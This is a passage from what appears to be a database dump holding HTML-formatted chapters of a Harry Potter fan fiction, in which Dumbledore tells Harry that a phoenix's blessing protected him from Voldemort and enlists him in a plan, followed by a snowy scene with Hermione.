style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nbrother,&#8221; Harry groaned. &nbsp;Hermione bent down and whispered in his ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, if she hurts you, that just means that I have to nurse you back to\nhealth myself,&#8221; she teased.&nbsp; He smiled brightly at that idea.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nbe too long, okay?&#8221; His tone was serious, and Hermione could see that he really\nhated letting her go.&nbsp; Especially after what they&#8217;d just admitted to one\nanother.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Relax\nHarry, I need to pick up our homework; besides, I gotta tell Ron that you&#8217;re\nokay.&nbsp; He&#8217;s probably pulling his hair out in Snape&#8217;s Potions class right\nnow.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nwanted to kiss him goodbye, but she couldn&#8217;t with Madam Pomfrey right behind\nher.&nbsp; So, she gave him a quick peck on the cheek and told him she&#8217;d be\nback.&nbsp; Harry said goodbye and settled back on the bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now\nthen, Mr. Potter, let&#8217;s see how you&#8217;re doing shall we?&nbsp; I believe that\nwe&#8217;ll do a complete medical work-up just to be sure.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221;\nMadam Pomfrey smiled evilly at his question, and Harry gulped as he wondered\njust what horrors she had in store for him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 3, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Thanks\nto some very good luck, Harry got out of the medical wing without a\nscratch.&nbsp; Madam Pomfrey had poked and prodded him more times than he&#8217;d\ndone when dissecting plants in Herbology.&nbsp; He really wanted to see\nHermione again.&nbsp; His mind swarmed with images of her leaning over him &#8211;\nher soft lips against his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Jeez\nPotter, you&#8217;ve got it bad!&#8217; he said to himself.&nbsp; As much as he wanted to\nfind his girlfriend&#8230;girlfriend&#8230;now, that sounded weird, Harry knew that\nProfessor Dumbledore needed to see him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\napproached the gargoyle statue and made sure the corridor was clear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Lemon\ndrop.&#8221; The gargoyle slid out of the way, revealing a dimly lit passage way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwalked up the small staircase and into the brightly lit office.&nbsp; He was always\ncaptivated by Dumbledore&#8217;s office no matter how many times he was here.&nbsp; A\nsoft squawk drew his attention, and he saw Fawkes, Dumbledore&#8217;s pet phoenix,\nresting on her perch by the window.&nbsp; Dumbledore himself was sitting at his\ndesk, apparently finishing some type of letter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nwanted to see me, sir?&#8221; Harry asked as he approached the large mahogany\ndesk.&nbsp; Dumbledore put down his quill and pushed his glasses up on his\nnose.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nHarry, there is something that I wish to discuss with you; it concerns what\nhappened to you the night that your parents were killed.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nProfessor, I thought you already told me everything.&#8221; Dumbledore stood up from\nhis chair and took a deep breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nyou know that Voldomort tried to use the killing curse on you, just like he did\nyour parents, but it backfired.&nbsp; Do you know why?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nsir, no one does.&#8221; Harry was rather confused.&nbsp; True, he thought about it\nmany times &#8211; painful as it was.&nbsp; Why had Voldomort not been able to kill\nhim?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221;\nDumbledore let out another long sigh, and an anxious expression fell over his\nface. &#8220;&#8230;that&#8217;s not true, there is someone who knows why &#8211; me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nPotter sat in stunned silence.&nbsp; Not much surprised him these days, but\nwhat he&#8217;d just heard was practically insane.&nbsp; Dumbledore&#8230;Dumbledore knew\nwhy Voldomort hadn&#8217;t killed him.&nbsp; Why hadn&#8217;t he told Harry sooner?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nwasn&#8217;t I told?&#8221; Harry spat out.&nbsp; He hadn&#8217;t meant to sound disrespectful,\nbut he was very upset.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nit was for your own good.&nbsp; I was hoping that I wouldn&#8217;t ever have to tell\nyou, but once I saw you inflicted with a Nightmare Curse, I knew&#8230;I knew that\nVoldomort was going to come back for you.&nbsp; He wants&#8230;no, he needs you dead\nbefore your eighteenth birthday.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nmy eighteenth birthday?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Because\nonce you turn eighteen, Harry, you&#8217;ll have reached maturity, and Voldomort will\nnever be able to destroy you.&#8221; Now, he really had Harry confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nProfessor, that doesn&#8217;t make any sense.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsuppose not, Harry; I suggest that I start at the beginning.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nafter you were born, your parents invited me to your christening.&nbsp; Of\ncourse, I came, but I also brought along a friend.&nbsp; At the time, I had\nanother phoenix for a friend &#8211; not Fawkes.&nbsp; It was Fawkes&#8217; mother.&nbsp;\nHer name was Gemstar, but I always called her Gem for short.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you trying to say?&#8221; Harry asked, getting even more confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\ngetting to it, Harry.&nbsp; I was beside your parents, and she was on my\nshoulder.&nbsp; After your christening was finished, something very odd\nhappened.&nbsp; Gem flew off my shoulder and hovered directly over your\nhead.&nbsp; She bent down and pressed her beak against your forehead.&nbsp;\nAfter she did that, your eyes lit up with a bright fire; it looked like what\nhappens to Fawkes on her burning day.&nbsp; Do remember&#8230;the burst of flames and\nthen a drastic change?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nI remember, Professor, but why did your phoenix do that?&nbsp; What was she\ntrying to do?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;For\na few seconds, both hers and your eyes were lit up with the same fire.&nbsp;\nShe gave you a gift, Harry &#8211; the spirit of a phoenix.&nbsp; You see, the\nphoenix is known as the bird that rose from the ashes more beautiful than it\never was before.&nbsp; Gemstar blessed you with that spirit; she gave you the\nstrength and power that a phoenix has.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nI&#8217;m a human, how could she&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Honestly\nHarry, I don&#8217;t really know.&nbsp; Your parents asked me what Gem had done, but\nI truly did not know.&nbsp; After a few seconds the fire went out, and she\nreturned to my shoulder.&nbsp; You weren&#8217;t effected in any way so your parents\njust left well enough alone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nI&#8217;m carrying a phoenix inside me?&#8221; Harry asked in astonishment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\na real phoenix &#8211; merely its spirit.&nbsp; A phoenix is a very magical creature\nas you know, and what Gemstar gave you is one of the reasons why your wizard\npotential is so incredible.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nI still don&#8217;t understand how this deals with me surviving Voldomort.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As\nI understand it, the blessing of a phoenix must be triggered by something; the\npower will only respond in a time of great need.&nbsp; You see, Harry, a\nphoenix only uses it power when others are suffering &#8211; not for selfish\nambitions.&nbsp; That is why it is one of the purest creatures in\nexistence.&nbsp; When your mother sacrificed herself for you, she triggered the\npower residing within your spirit.&nbsp; That is what protected you and what drained\nVoldomort of his power.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nVoldomort took my blood to resurrect himself so doesn&#8217;t that mean that he was\ngiven part of this &#8216;special&#8217; power as well?&#8221; Harry asked.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He\ncould remember it like it was yesterday.&nbsp; At the TriWizard Tournament during\nhis fourth year, he and Cedric Diggory both won, but the trophy had been turned\ninto a portkey, which had taken him right into Voldomort&#8217;s clutches.&nbsp;\nVoldomort had one of his servants, Wormtail, take some of Harry&#8217;s blood and use\nit to revive the dark wizard.&nbsp; Harry had barely escaped Voldomort and his\nhoard of Death Eaters, but Cedric had been killed in the process.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nHarry, remember what I said, the power of a phoenix can only be given to\nsomeone with a pure heart.&nbsp; Voldomort is the exact opposite of what the\nphoenix embodies.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nProfessor Dumbledore, if that is true, then why did you say that he would need\nto kill me before my eighteenth birthday?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Because\nHarry, when a phoenix comes of age, its power is at its zenith.&nbsp; If you\nrecall how Fawkes looked before burning day, she wasn&#8217;t the best thing in the\nworld to look at.&#8221; Dumbledore chuckled under his breath, and Fawkes cocked her\nhead trying to understand what her master was finding so funny.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nwhat does that mean?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let\nme ask you something instead, Harry.&nbsp; Have you had any difficulty learning\nnew magic lately?&#8221; His question made Harry gasp in surprise.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;actually\nno, I just sort of &#8216;got it&#8217; right away.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Your\npower is growing quickly, Harry, because your time is approaching.&nbsp;\nHowever, it also means that Voldomort will be coming for you soon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nfigured as much, but does he know?&nbsp; I mean, about the phoenix and\neverything?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nhe does not; he merely believes that your mother&#8217;s love protected you from his\ndark magic, and he is technically right.&nbsp; The power that Gemstar gave you\nmerely amplified that protection.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nhow do you know that Voldomort is coming for me?&#8221; Harry was getting\nanxious.&nbsp; If Voldomort was coming back, he needed to be ready.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Since\nthe TriWizard Tournament, I knew it was only a matter of time before Voldomort\nmade his move.&nbsp; He has been spending the last few years regaining his\nformer strength and gathering followers.&nbsp; Cornelius Fudge and the Ministry\nof Magic refuse to believe that Voldomort has come back, or that he is planning\nan attack against us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Listen\ncarefully Harry, Voldomort won&#8217;t just attack us himself; he needs an army of\nfollowers to do it.&nbsp; Do you remember that talk we had so long ago?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nstrained his brain to remember what Dumbledore had said to him after the\ntournament.&nbsp; For the last three years, he and several others had been\npreparing for Voldomort&#8217;s return.&nbsp; He had sent Hagrid out to try and\nconvince other giants like himself to join with Dumbledore and fight Voldomort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nMinistry of Magic hated the giants; they felt that they were too dangerous to\ntrust so they exiled them from the wizard world.&nbsp; Another key for them\nwould be freeing his followers from Azkaban, the wizard prison, but what really\nmade Harry nervous was the fact that Voldomort could probably convince the\ndementors who guarded the prison to join him.&nbsp; Dementors thrived on fear\nand panic, and Voldomort could offer them a veritable buffet for their taking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nProfessor Dumbledore, I remember, but hasn&#8217;t the Ministry made any attempts at\ncontacting the giants or even the dragons for help?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nHarry, they&#8217;re too stuck on the &#8216;pureblood&#8217; way of doing things.&nbsp; Only\nwizards of noble blood will be given notice by them.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nthat&#8217;s insane, if Voldomort comes back, everyone is in danger.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nagree with you, Harry, but Fudge and the others will not listen to me.&nbsp;\nHe&#8217;s even threatened to remove me as headmaster if I go against his wishes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sir,\nyou can&#8217;t be serious!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dead\nserious, my boy, but I don&#8217;t care.&nbsp; Voldomort must be stopped, or the\nworld will be plunged into darkness and anarchy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nMinistry keeps saying that if Voldomort was alive, he would&#8217;ve attacked by now,\nbut I know that he is merely biding his time, waiting for the perfect moment to\ncatch us off-guard.&#8221; Dumbledore took a deep breath and pushed his glasses back\nup his nose.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI must ask for your help.&nbsp; We need to draw Voldomort out of hiding, and he\nwon&#8217;t do that unless we give him a ripe target.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Name\nit, Professor!&#8221; Harry said firmly.&nbsp; Dumbledore smiled at him proudly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\none thing that Voldomort always wanted next to you was Hogwarts; he hated this\nplace and everything it stood for.&nbsp; So, we&#8217;re going to give it to him, but\nthere is something that must be done first.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore\nspent the next hour explaining his plan to Harry, and the young man&#8217;s eyes went\nwide when Dumbledore had asked him a very costly favor.&nbsp; Harry had sat\nthere looking at his hands for a good ten minutes but had agreed to play his\npart.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very\nwell, you may go now.&nbsp; I&#8217;ve placed a spell over your mind that should\nblock your Nightmare Curse for now, but if Voldomort&#8217;s power keeps increasing,\nit will give way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nunderstand, sir.&nbsp; How soon do we need to implement the plan?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;At\nleast within the next few months, my guess is a little after Christmas.&nbsp;\nThe spring and early summer is when everyone is most relaxed; it would be a\nperfect time for Voldomort to attack.&nbsp; I will send for you when the time\nis near, Harry, but until then, I suggest that you continue on as you normally\nwould, but&#8230;&#8221; Dumbledore looked at him sternly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8230;You\nare not to tell anyone about what I&#8217;ve said to you today, Harry &#8211; not\nRonald&#8230;not Hagrid&#8230;not even Hermione&#8230;no one, understood?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very\nwell, you may go, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nexited Dumbledore&#8217;s office feeling rather noxious.&nbsp; He felt like he&#8217;d just\nsat through six hours of Potions class.&nbsp; He headed back down towards the\nGreat Hall.&nbsp; It was just about lunchtime, and Ron and Hermione should be\nthere by now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 4, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nwinter brought snowfall to Hogwarts, and before long, everything in site was\ncovered in white.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;INCOMING!&#8221;\nHarry ducked as the snowball flew over his head.&nbsp; His eyes looked around\nfor the culprit, and he found Hermione smiling slyly at him.&nbsp; They had the\nday off from classes so the students decided to hold the world&#8217;s biggest\nsnowball fight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Darn,\nI missed!&#8221; she laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ngrinned and stalked towards her.&nbsp; Hermione turned and ran, but Harry&#8217;s\nlegs were longer, and he easily caught to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nHermione gasped as he tackled her onto the snow.&nbsp; They rolled around like\na couple of little kids, laughing their heads off.&nbsp; Hermione pinned his\nhands down to the ground and held the rest of him down with her body weight.</p>\n\n<p class="MsoNormal" 